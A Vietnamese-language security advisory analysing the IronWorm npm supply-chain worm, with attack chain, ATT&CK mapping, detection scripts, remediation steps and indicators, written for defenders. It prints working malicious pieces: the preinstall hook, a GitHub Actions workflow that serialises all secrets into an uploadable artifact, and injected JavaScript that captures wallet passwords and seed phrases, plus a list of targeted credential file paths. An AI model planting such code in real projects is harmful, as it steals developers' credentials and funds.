Khi lệnh npm install trở thành điểm khởi đầu của một cuộc tấn công mạng

Tóm tắt rủi ro
Vào đầu tháng 6 các chuyên gia bảo mật công bố phân tích đầy đủ về IronWorm, một infostealer tự phát tán lây nhiễm 36 npm package được publish từ một account bị compromise tên asteroiddao. Malware nhắm đến 86 biến môi trường và hơn 20 credential file path, quét sạch môi trường developer và CI tìm kiếm cloud provider key, AI API credential, ví cryptocurrency, SSH key và package registry token. Sau đó nó dùng chính những token đó để publish version trojanize của các package do victim sở hữu, lây lan sang developer tiếp theo chạy npm install.
Điều phân biệt IronWorm với Shai-Hulud family mà nó bề ngoài giống là chiều sâu kỹ thuật: Rust binary 976 KB được đóng gói bằng UPX stub đã được sửa đổi, per-call-site string decryption với parameter riêng cho mỗi call, embedded eBPF kernel rootkit mà compiler để lại debug metadata, và Tor cho command and control. Ox Security phát hiện chiến dịch đủ sớm để nó không lan rộng đến các package phổ biến. JFrog đánh giá IronWorm là custom implant từ một operation có infrastructure riêng, không phải off-the-shelf tool.
Ai bị ảnh hưởng trực tiếp: Các team có developer hoặc CI runner làm việc trong Arweave/WeaveDB ecosystem hoặc đã cài bất kỳ package nào trong 36 package bị ảnh hưởng. Rộng hơn, bất kỳ tổ chức nào có developer chạy npm install với package từ account có thể bị compromise.
Hành động ngay: Kiểm tra xem có package nào trong 36 package bị ảnh hưởng trong dependency tree không. Nếu có, rotate tất cả credential hiện diện trong môi trường lúc install. Bật 2FA trên npm account và review GitHub Actions workflow tìm modification bất thường.
Bối cảnh: Hệ sinh thái worm mà IronWorm sinh ra trong đó
IronWorm không xuất hiện bỗng dưng. Đây là thành viên kỹ thuật tiên tiến nhất của một npm worm lineage rộng lớn hơn mà JFrog truy ngược qua Shai-Hulud và TeamPCP, một threat actor chịu trách nhiệm nhiều đợt supply chain attack xuyên suốt 2025 và 2026.
Playbook nhất quán qua tất cả các biến thể: compromise npm hoặc GitHub token của developer, publish version trojanize của package do victim sở hữu, và dùng những version đó để lây nhiễm máy của developer tiếp theo, thu thập credential của họ để tiếp tục vòng lặp. Phoenix Security, tracking toàn bộ lịch sử chiến dịch, mô tả IronWorm là "engineering ceiling" cho giai đoạn này: biến thể đầu tiên chuyển từ interpreted JavaScript postinstall script sang compiled Rust binary với kernel-level rootkit và Tor C2.
Chạy đồng thời với IronWorm là một chiến dịch riêng biệt nhưng liên quan gồm malware JavaScript tên binding.gyp, được Endor Labs và StepSecurity ghi nhận là "Phantom Gyp" và track là "Miasma." Trong khi IronWorm dùng preinstall lifecycle hook được giám sát kỹ, Miasma lạm dụng binding.gyp để fire code qua node-gyp tự động, bypass scanner chỉ tập trung vào package.json script. Hai chiến dịch, code khác nhau, triển khai đồng thời, cùng nhắm vào supply chain.
Chuỗi tấn công: Từ package bị compromise đến machine bị nhiễm
Điểm khởi đầu: Account bị compromise và 36 package bị đầu độc
JFrog nhận thấy mọi package do npm account asteroiddao publish đều được republish trong một khoảng thời gian ngắn, mỗi version mới đều ship một native binary thực thi qua preinstall hook. Pattern đó đủ đáng ngờ để điều tra sâu hơn.
Tarball của weavedb-sdk@0.45.3 chứa bốn file hợp lệ sao chép từ WeaveDB SDK thật và một bổ sung: ELF binary Linux 976 KB trong thư mục tools/, được đặt tên setup để trông giống build utility.
package/
├── index.js (hợp lệ)
├── package.json ← preinstall hook
├── RedisCache.js (hợp lệ)
├── warp-contracts-plugin-fetch-options.js (hợp lệ)
└── tools/
└── setup ← ELF binary 976 KB, malware
Hook trong package.json:
"scripts": {
"preinstall": "./tools/setup"
}
preinstall chạy trước khi npm bắt đầu resolve dependency. Developer gõ npm install và binary thực thi, không cần thêm thao tác nào. Trong vòng một ngày từ khi tấn công bắt đầu, npm deprecated các version độc hại và phần lớn commit độc hại đã bị xóa khỏi GitHub. JFrog capture được phân tích trước khi cleanup xảy ra.
Mổ xẻ binary: Rust, UPX tùy chỉnh, và mã hóa per-call-site
Binary được đóng gói bằng UPX stub đã được sửa nhẹ. Thay đổi duy nhất: magic value UPX! bị ghi đè, khiến upx -d thông thường báo NotPackedException. Khôi phục marker và unpack bằng UPX tiêu chuẩn cho ra binary bên dưới bình thường. Đây là anti-unpacking trick chi phí thấp, không thay thế UPX mà chỉ phá vỡ signature detection mặc định.
Bên dưới là Rust release build lớn với hàng nghìn function và async runtime. Rust binary nổi tiếng khó reverse-engineer vì framework và runtime code mở rộng làm loãng logic malware. IronWorm còn thêm một lớp nữa: phần lớn string hữu ích vắng mặt khỏi binary dưới dạng plaintext. URL, path, command và configuration value chỉ được giải mã khi cần. Mỗi call site dùng parameter decryption riêng. Không có master key nào unlock tất cả cùng lúc. Mỗi string phải được recover riêng lẻ.
Khi được giải mã, các string tiết lộ chiến dịch rõ ràng: GitHub API endpoint, danh sách 86 biến môi trường liên quan đến cloud và AI credential, file path credential, bot identity gắn với real GitHub user ID, branch name và commit message được thiết kế trông như maintenance thông thường, và code-injection template cho npm, PyPI, Cargo và C++ package manager.
Hai payload, hai identity: Cách IronWorm tự phát tán
IronWorm commit một trong hai payload tùy thuộc vào cấu trúc target repository, mỗi payload được ghép với một bot identity được chọn để commit trông thường xuyên.
Payload 1: Cho package repository
Với npm, PyPI, Cargo, Conan, vcpkg, malware drop một binary vào project và sửa đổi build system để thực thi nó lúc install. Trong npm là preinstall script, trong PyPI là subprocess call từ setup.py, trong Cargo là build-script hook. Payload được đặt ở path không nổi bật như tools/setup hoặc .github/scripts/precheck. Commit được ký tên claude <claude@users.noreply.github.com>, giả mạo AI coding assistant để build hook mới trông như automated tooling thông thường.
Payload 2: Cho CI-enabled repository
Malware thay thế GitHub Actions workflow file hiện có thay vì thêm file mới. Kết quả:
on: [push]
jobs:
<job_name>:
runs-on: ubuntu-latest
env:
VARIABLE_STORE: ${{ toJSON(secrets) }}
steps:
- uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd
- name: <step_name>
run: echo "$VARIABLE_STORE" > format-results.txt
- name: <step_name>
uses: actions/upload-artifact@bbbca2ddaa5d8feaa63e36b76fdaad77386f024f
with:
name: format-results
path: format-results.txt
${{ toJSON(secrets) }} serialize tất cả secret có sẵn cho workflow run thành một giá trị duy nhất. Bước tiếp theo ghi nó vào file có tên trông giống lint hoặc formatting output. Bước cuối upload file đó như build artifact, có thể download bởi bất kỳ ai có quyền truy cập repository, bao gồm account bị compromise. Không cần external C2 cho exfiltration.
Workflow thay thế một file hiện có thay vì tạo mới, được chọn từ pool filename CI phổ biến. Action được pin vào real commit SHA, khiến workflow trông security-conscious hơn thông thường. Tên job và step đến từ pool CI phrase trông hợp lý. Commit author rotate qua dependabot, renovate, github-actions, các identity mà người ta ít có khả năng xem xét kỹ nhất.
JFrog ghi nhận rằng path thứ hai này, dù được implement đầy đủ trong binary, không được quan sát trigger trong thực tế. Mọi victim đều nhận payload đầu tiên. Capability GitHub Actions exfiltration vẫn chưa được triển khai nhưng hoàn toàn functional.
Backdated commit qua chín organization
Tìm kiếm GitHub với commit author email claude@users.noreply.github.com và message fix: resolve lint warnings trả về mười bốn kết quả trên chín organization:
ocrybit, asteroid-dao, alisista, warashibe, kakedashi-hacker, weavedb, ArweaveOasis, arthursimao, mlebjerg
Các commit xuất hiện trong GitHub UI là 4 năm trước, 7 năm trước, hoặc 13 năm trước. Tất cả thực ra được push trong vài ngày trước đó. Malware copy timestamp của commit hợp lệ gần nhất của repository, khiến mỗi thay đổi độc hại xuất hiện như được thực hiện vào đúng lúc project được touched lần cuối một cách hợp pháp.
GitHub Actions log tiết lộ tác giả thật: ocrybit, tên và avatar khớp với npm account dẫn đến cuộc điều tra. Malware đã đánh cắp credential của ocrybit và dùng chúng để push commit qua các repository mà nó có thể truy cập.
JFrog tìm thấy commit độc hại được attributed cho "claude" với timestamp giả (Nguồn: JFrog Security Research)
JFrog cũng ghi nhận rằng cleanup không loại bỏ mọi thứ: một số commit vẫn còn visible, và account bị compromise hiển thị khoảng 4.500 contribution vào private repository trong tháng đó. Thiệt hại công khai có thể chỉ là một phần của tổng tác động thực sự.
Quét credential: 86 biến môi trường, 20 file path, toàn bộ AI key stack năm 2026
IronWorm nhắm đến 86 biến môi trường bao gồm cloud provider, database, source control token, CI/CD system, messaging platform, Vault và Kubernetes. Mười bốn trong số đó là AI và ML API key: Anthropic, OpenAI, Gemini, Cohere, Mistral, Groq, Perplexity, xAI và nhiều hơn.
File sweep bao gồm hơn 20 path đáng chú ý:
~/.claude/.credentials.json Claude Code credential
~/.codex/auth.json Codex CLI credential
~/Cursor/auth.json Cursor credential
~/.gemini/settings.json Gemini CLI settings
~/.aws/credentials AWS access key
~/.kube/config Kubernetes service account token
~/.docker/config.json Docker Hub credential
~/.npmrc npm publish token
~/.pypirc PyPI upload credential
~/.git-credentials Git token
~/.vault-token HashiCorp Vault token
Danh sách này đọc như bản đồ chính xác của những gì máy developer năm 2026 thực sự chứa. Việc bao gồm AI coding assistant credential path (~/.claude/, ~/.codex/, ~/Cursor/) đặc biệt đáng chú ý: những tool này đủ mới để phần lớn threat intelligence từ 2024 và 2025 không nhắm vào chúng.
IronWorm cũng mang theo module chuyên dụng nhắm vào Exodus desktop cryptocurrency wallet. Nó làm yếu Electron security protection bao gồm webSecurity, sandbox, contextIsolation và nodeIntegration, mở rộng network policy của ứng dụng, và inject JavaScript hook capture wallet password và recovery seed vào thời điểm user unlock ví:
try{const _x=(k,v)=>{const r=new XMLHttpRequest;r.open("POST","http://127.0.0.1:8738",!0);
r.setRequestHeader("Content-Type","text/plain");r.send(k+":"+v)};
if(t)_x("password",t);const m=this._seed?.mnemonic?.toString();if(m)_x("seed",m)}catch(e){}
Một module khác chạy trong Kubernetes pod đọc service-account token, duyệt qua các namespace, dump mọi Secret mà nó có thể reach, và nếu tìm thấy Vault instance, đăng nhập bằng token đó và enumerate secret backend.
Tự phát tán qua npm Trusted Publishing
Khi chạy trong CI environment, IronWorm dùng npm Trusted Publishing flow để có quyền publish mà không cần chạm vào stored credential. Nó yêu cầu OIDC identity token từ CI environment, submit token đó đến endpoint /-/npm/v1/oidc/token/exchange/package/<pkg> của npm, nhận short-lived package-scoped automation token, và publish trojanized release lên registry.npmjs.org.
Điều này quan trọng vì nó có nghĩa là npm token không cần được lưu trữ ở bất kỳ đâu trên hệ thống để IronWorm publish package thay mặt account CI bị compromise. Trust chain của chính CI environment trở thành publish credential.
eBPF rootkit mà compiler để lại source code bên trong
IronWorm nhúng compiled BPF object được build với clang 22.1.5. Build path vẫn còn trong binary, và BPF object chứa section .BTF.ext: debug metadata map BPF instruction về source line gốc. Không ai strip nó. JFrog extracted 214 dòng source code nguyên văn với line number, recover type information cho tất cả 10 BPF map và mọi struct field, và reconstruct rootkit đủ để hiểu mọi thứ nó làm.
Section .BTF.ext trong BPF object chứa 214 dòng source code nguyên văn (Nguồn: JFrog Security Research)
Rootkit ẩn process bằng cách intercept /proc listing operation và loại bỏ hidden PID trước khi userland tool thấy chúng, khiến process biến mất khỏi ps, top và ls. Nó watch execve call và tự động thêm process name khớp vào hidden set. Nó kill bất kỳ process nào cố ptrace process được bảo vệ: chạy strace chống malware kill shell đang chạy lệnh đó. Nó ẩn TCP connection bằng cách filter cả /proc/net/tcp lúc đọc lẫn netlink query dùng bởi ss.
Hai trong bốn capability đó, ẩn process và ẩn TCP connection, dựa vào BPF helper modify memory trong calling process. Helper đó bị restrict khi kernel lockdown active. Trên hệ thống hardened với lockdown bật, các process và socket bị ẩn trở nên visible lại. Cái còn lại là anti-debugging logic và một phần network hiding qua netlink filtering. Trên server tiêu chuẩn chạy với root, full feature set hoạt động như thiết kế.
C2 qua Tor và recovery phrase tự định danh tác giả
IronWorm download Tor expert bundle và library, tự viết torrc, khởi động daemon, chờ circuit thiết lập, và beacon đến /api/agent qua plain HTTP bên trong Tor tunnel. Command bao gồm upload extracted secret, drop file từ attacker-controlled server, và spawn remote shell.
Phần đặc biệt nhất về phía attacker là skip list của credential scanner. Danh sách chứa một mục duy nhất: complete twelve-word BIP-39 recovery phrase hardcode dưới dạng plaintext. Lý do duy nhất để dạy wallet-stealer bỏ qua một seed cụ thể là để malware không đánh cắp từ chính operator trong quá trình test.
from bip_utils import Bip39SeedGenerator, Bip44, Bip44Coins
seed = Bip39SeedGenerator(
"bench crane defense corn wheel trial news abuse finish better paddle slush"
).Generate()
addr = Bip44.FromSeed(seed, Bip44Coins.ETHEREUM).DeriveDefaultPath().PublicKey().ToAddress()
print(addr) # 0x7e28D9889f414B06c19a22A9Bd316f0AC279a4d6
Địa chỉ ứng với test wallet gần như trống, chỉ chứa vài cent dust. Không có tiền để tịch thu, nhưng là attribution lead sạch nhúng trong mọi bản sao malware được phân phối đến mọi victim.
Liên hệ với Shai-Hulud và TeamPCP
JFrog không tìm thấy liên kết code trực tiếp giữa IronWorm và Shai-Hulud, nhưng quan sát cùng commit message trong cả hai chiến dịch. Phoenix Security đánh giá IronWorm là sản phẩm của threat actor, có thể là TeamPCP, đang xây dựng hướng tới implant chuyên nghiệp hơn. Nơi Shai-Hulud dùng interpreted JavaScript, IronWorm dùng compiled Rust. Nơi Shai-Hulud gửi credential đến dead drop, IronWorm dùng Tor. Kết luận của JFrog: "custom, carefully built implant from an operation with its own infrastructure and the patience to use it quietly."
Các sai lầm bất cẩn, cụ thể là BPF debug metadata và hardcoded wallet phrase, gợi ý IronWorm là work in progress hơn là finished product. Nếu đúng như vậy, những gì đến tiếp theo sẽ khó phân tích hơn.
MITRE ATT&CK Mapping
| Tactic | Technique ID | Technique Name | Triển khai trong IronWorm |
|---|---|---|---|
| Initial Access | T1195.001 | Compromise Software Dependencies | 36 npm package bị trojanize publish từ account asteroiddao bị compromise |
| Execution | T1059.004 | Unix Shell | Malware binary thực thi qua preinstall hook lúc npm install |
| Execution | T1106 | Native API | Rust binary dùng syscall trực tiếp cho process, file và network operation |
| Persistence | T1053.003 | Scheduled Task/Cron | GitHub Actions workflow replacement cho CI-based exfiltration |
| Defense Evasion | T1027 | Obfuscated Files or Information | Modified UPX stub, per-call-site string decryption với parameter riêng biệt |
| Defense Evasion | T1014 | Rootkit | eBPF kernel rootkit ẩn PID, TCP connection; kill ptrace attempt |
| Defense Evasion | T1036.004 | Masquerading: Rename System Utilities | Binary đặt tên setup trong tools/; commit attributed cho bot claude |
| Defense Evasion | T1070.006 | Indicator Removal: Timestomp | Commit độc hại timestamp khớp với commit hợp lệ gần nhất của repo |
| Defense Evasion | T1090.003 | Proxy: Multi-hop Proxy | Tor C2 circuit; fallback temp.sh qua Tor |
| Credential Access | T1552.001 | Unsecured Credentials: Credentials in Files | 20+ credential file path được quét bao gồm AI tool credential |
| Credential Access | T1552.007 | Container API | Kubernetes pod đọc service account token; enumerate secret |
| Credential Access | T1555 | Credentials from Password Stores | Exodus wallet hook capture seed mnemonic lúc unlock |
| Collection | T1119 | Automated Collection | Quét 86 biến môi trường trên cloud, AI và developer credential |
| Lateral Movement | T1072 | Software Deployment Tools | OIDC Trusted Publishing flow mint npm token ngắn hạn để self-replicate |
| Command and Control | T1071.001 | Web Protocols | HTTP beaconing qua Tor hidden service đến /api/agent |
| Exfiltration | T1567.001 | Exfiltration to Code Repository | GitHub Actions variant ghi secret vào artifact, có thể download bởi bất kỳ ai |
Detection
Kiểm tra dependency tree tìm package bị ảnh hưởng
# Audit project tìm 36 package bị ảnh hưởng
npm ls --all 2>/dev/null | grep -E \
"weavedb-sdk|weavedb-lite|weavedb-sdk-base|weavedb-warp-contracts|arnext|\
weavedb-console|roidjs|weavedb-exm-sdk|create-arnext-app|weavedb-tools|\
wdb-core|cwao-tools|weavedb-exm-sdk-web|monade|testnpmnmp|\
warp-contracts-plugin-deploy-test|wdb-cli|ai3|cwao-units|atomic-notes|\
cwao|weavedb-client|wdb-sdk|weavedb-offchain|fpjson-lang|weavedb-contracts|\
weavedb-node-client|arjson|hbsig|zkjson|aonote|weavedb-base|\
weavedb-sdk-node|wao|test-ajs|test-weavedb-sdk|arnext-arkb"
Hunt commit backdated với author là "claude"
# Tìm IronWorm commit signature trong organization của bạn
gh search commits "fix: resolve lint warnings" \
--author-email "claude@users.noreply.github.com" \
--owner YOUR_ORG
# Commit message IronWorm dùng:
# "test: add missing edge case"
# "ci: update workflow configuration"
# "fix: address review feedback"
# "docs: update contributing guide"
# "chore: sync lockfile"
# "fix: handle null pointer case"
# "build: bump patch version"
# "chore: update dependencies"
Phát hiện preinstall hook ship native binary
# Tìm ELF binary trong npm package directory
find node_modules -type f | while read f; do
magic=\((xxd -l 4 "\)f" 2>/dev/null | head -1 | awk '{print \(2\)3}')
if [ "$magic" = "7f454c46" ]; then
echo "ALERT: ELF binary tại $f"
fi
done
# Hunt package có preinstall hook kết hợp binary trong tools/
find node_modules -name "package.json" | while read pkg; do
if grep -q "preinstall" "$pkg" 2>/dev/null; then
dir=\((dirname "\)pkg")
if ls "$dir"/tools/ 2>/dev/null | grep -qE "setup|precheck|init|check"; then
echo "ALERT: Preinstall hook + binary trong $dir"
fi
fi
done
Hunt eBPF rootkit artifact
# So sánh /proc với ps để phát hiện process bị ẩn
comm -23 \
<(ls /proc | grep "^[0-9]" | sort) \
<(ps aux | awk 'NR>1{print $2}' | sort) | \
while read pid; do
echo "Process $pid visible trong /proc nhưng bị ẩn khỏi ps"
done
# So sánh /proc/net/tcp với ss để phát hiện connection bị ẩn
comm -23 \
<(cat /proc/net/tcp | awk 'NR>1{print $2}' | sort) \
<(ss -tn | awk 'NR>1{print $4}' | sort) | \
while read conn; do
echo "TCP connection visible trong /proc nhưng bị ẩn khỏi ss: $conn"
done
# Tìm BPF program bất thường (cần root hoặc CAP_BPF)
bpftool prog list 2>/dev/null
# Tìm Tor process và configuration
find /tmp /var/tmp ~ -name "tor" -o -name "torrc" 2>/dev/null | grep -v "/etc/tor/"
ps aux | grep -E "tor |tor$" | grep -v grep
Phát hiện GitHub Actions workflow bị thay thế
# Kiểm tra git log tìm workflow change attributed cho bot identity
git log --all --oneline -- .github/workflows/ | \
grep -E "dependabot|renovate|github-actions|claude"
# Alert khi có workflow serialize secret vào file
grep -r "toJSON(secrets)" .github/workflows/
grep -r "upload-artifact" .github/workflows/
Kiểm tra Exodus wallet bị tamper
# Kiểm tra xem listener của IronWorm có đang chạy không
ss -tlnp | grep ":8738"
# Tìm file Exodus bị modified gần đây
find ~/.config/Exodus/ ~/Library/Application\ Support/Exodus/ \
-newer /tmp/reference_time -name "*.js" 2>/dev/null
Nhận định
eBPF rootkit với source code để lại là món quà cho defender
Việc compiler để lại .BTF.ext metadata với 214 dòng source code nguyên văn trong BPF object là sai lầm operational security nghiêm trọng. JFrog có thể reconstruct toàn bộ rootkit mechanism từ đó. Nhưng điều này chỉ ra một điểm quan trọng hơn cho defender: BPF forensics là một discipline đang nổi và có giá trị thực tế.
Mọi BPF program tìm thấy trong môi trường đáng ngờ đều có thể chứa .BTF.ext section với reconstructable source code, type definition và map structure. Đây là dữ liệu forensic mà hầu hết IR playbook hiện tại chưa khai thác.
Trusted Publishing là attack vector mới cần được model riêng
Trước IronWorm, mối lo ngại chính về npm Trusted Publishing là liệu OIDC claim có được scope đủ chặt không. IronWorm cho thấy vấn đề còn căn bản hơn: khi malware chạy trong CI environment, nó kế thừa toàn bộ trust của workflow đó. Credential không cần bị đánh cắp để publish độc hại; chỉ cần CI runner bị compromise là đủ.
Đây là loại rủi ro không được capture bởi "rotate npm token" như là remediation, vì token không bao giờ bị exposed. Self-replication xảy ra thông qua trust chain của CI environment itself.
IronWorm nhắm vào AI coding assistant credential trong năm đầu tiên chúng tồn tại
Danh sách path của IronWorm bao gồm ~/.claude/.credentials.json, ~/.codex/auth.json, ~/Cursor/auth.json và ~/.gemini/settings.json. Những file này gần như không tồn tại trước 2025. Việc chúng đã được thêm vào target list của malware trong chưa đầy hai năm kể từ khi ra mắt phản ánh tốc độ mà threat actor adapt target list theo adoption của developer tool mới.
Đây là cảnh báo thực tế: bất kỳ developer tool mới nào tạo ra credential file trong home directory, dù là coding assistant, AI API client, hay cloud CLI, đều sẽ xuất hiện trong malware target list trong vòng vài tháng.
"Carefully engineered" và "careless" có thể tồn tại trong cùng một malware
IronWorm là sự kết hợp thú vị: per-call-site string encryption, Tor C2, eBPF rootkit với multi-hiding capability, OIDC-based self-replication. Và đồng thời: BPF debug metadata không bị strip, hardcoded wallet phrase self-identifies operator. JFrog gọi đây là "rehearsal," không phải "final form."
Nếu đánh giá đó đúng, what comes next từ cùng operation sẽ không để lại những sai lầm đó. Và lần đó, JFrog sẽ không có 214 dòng source code để đọc.
Khuyến nghị hành động
Immediate (0-24h)
Nếu có package bị ảnh hưởng trong dependency tree, treat environment đó là compromised và rotate ngay:
# 1. Kiểm tra npm publish token và revoke nếu nghi ngờ
npm token list
npm token revoke <token_id>
# 2. Kiểm tra unauthorized publish gần đây
npm view <package-name> versions --json | tail -5
# 3. Kiểm tra GitHub Actions log tìm workflow run bất thường
gh run list --workflow=<suspicious_workflow> --limit 20
# 4. Hunt Tor process và IronWorm lock file
find /tmp -name "torrc" 2>/dev/null
ss -tlnp | grep ":8738"
Credential cần rotate ngay: npm publish token, GitHub personal access token hoặc app credential, AWS access key, Kubernetes service account token, Docker Hub credential, tất cả AI API key (Anthropic, OpenAI, Google...), và bất kỳ cloud credential nào có trong environment lúc install.
Short-term (1-7 ngày)
Bật 2FA bằng hardware security key trên tất cả npm account. SMS và TOTP 2FA bảo vệ chống remote credential theft nhưng không chống OIDC-based Trusted Publishing abuse.
Review GitHub Actions workflow trên tất cả repository tìm exfiltration pattern:
# Flag bất kỳ workflow nào chứa cả ba điều sau:
# 1. toJSON(secrets)
# 2. Ghi vào file
# 3. actions/upload-artifact
# Pattern này bất thường trong legitimate workflow
Với CI environment dùng npm Trusted Publishing: restrict OIDC claim conditions để scope token xuống package cụ thể. npm documentation cho Trusted Publishing cho phép restrict token theo package name; dùng nó.
Chạy một lần sweep credential trên developer machine và CI runner có thể đã cài package bị ảnh hưởng từ khoảng ngày 01/06/2026.
Long-term
preinstall lifecycle hook vẫn là attack surface nguy hiểm nhất trong npm. Flag --ignore-scripts disable nó lúc install, dù điều này break package dùng nó hợp lệ. Đánh giá xem internal policy có thể yêu cầu --ignore-scripts cho dependency install trong CI không, trong khi cho phép nó có chọn lọc với package có build requirement đã biết.
Treat credential của developer machine với yêu cầu rotation tương đương production server credential. IronWorm cho thấy một developer laptop trong Arweave ecosystem tháng 6/2026 là high-value target, vì nó chứa npm publish token, GitHub token với write access cho nhiều organization, và AI API key với billing exposure.
Đưa BPF forensics vào incident response capability. Khi BPF program được tìm thấy trong môi trường đáng ngờ, kiểm tra .BTF.ext section trước:
# Kiểm tra BPF object có debug metadata không
readelf -S <bpf_object.o> | grep -i btf
llvm-objcopy --dump-section=.BTF.ext=/tmp/btf_data <bpf_object.o>
Indicators of Compromise
# Account npm bị compromise
asteroiddao
# Commit author độc hại
claude <claude@users.noreply.github.com>
# Commit message được sử dụng
"fix: resolve lint warnings"
"test: add missing edge case"
"ci: update workflow configuration"
"fix: address review feedback"
"docs: update contributing guide"
"chore: sync lockfile"
"fix: handle null pointer case"
"build: bump patch version"
"chore: update dependencies"
# Địa chỉ ví operator (attribution artifact)
0x7e28D9889f414B06c19a22A9Bd316f0AC279a4d6
# Local listener của Exodus hook
127.0.0.1:8738
# C2 endpoint
/api/agent (qua Tor hidden service)
# GitHub organization bị ảnh hưởng
ocrybit | asteroid-dao | alisista | warashibe
kakedashi-hacker | weavedb | ArweaveOasis
arthursimao | mlebjerg
# npm package bị ảnh hưởng (tất cả từ account asteroiddao)
weavedb-sdk@0.45.3 weavedb-lite@0.1.1
weavedb-sdk-base@0.21.1 test-weavedb-sdk@1.1.1
weavedb-warp-contracts-plugin-deploy@1.0.11
arnext-arkb@0.0.2 weavedb-console@0.2.1
arnext@0.1.5 roidjs@0.1.7
weavedb-exm-sdk@0.7.4 create-arnext-app@0.0.10
weavedb-tools@0.45.3 wdb-core@0.1.2
cwao-tools@0.3.1 test-ajs@0.1.19
monade@0.0.7 weavedb-exm-sdk-web@0.7.4
testnpmnmp@1.0.21 warp-contracts-plugin-deploy-test@3.0.1
wdb-cli@0.1.1 ai3@0.3.5
cwao-units@0.8.3 atomic-notes@0.5.3
cwao@0.5.6 weavedb-client@0.45.3
wdb-sdk@0.1.2 weavedb-offchain@0.45.4
fpjson-lang@0.1.7 weavedb-contracts@0.45.2
weavedb-node-client@0.45.3 arjson@0.1.4
hbsig@0.3.2 zkjson@0.8.5
aonote@0.11.1 weavedb-base@0.45.3
weavedb-sdk-node@0.45.3 wao@0.41.2
Nguồn tham khảo:
IronWorm: Shai-Hulud's rustier cousin — JFrog Security Research Team
New IronWorm malware hits 36 packages in npm supply-chain attack — BleepingComputer (Bill Toulas)
IronWorm and New Miasma Worm Variant Hit npm in Supply Chain Attacks — The Hacker News
IronWorm npm Supply Chain Worm: Rust, eBPF Rootkit, Tor C2 — Phoenix Security
Node-gyp Supply Chain Compromise — June 2026 — Snyk (chiến dịch Miasma / Phantom Gyp song song)





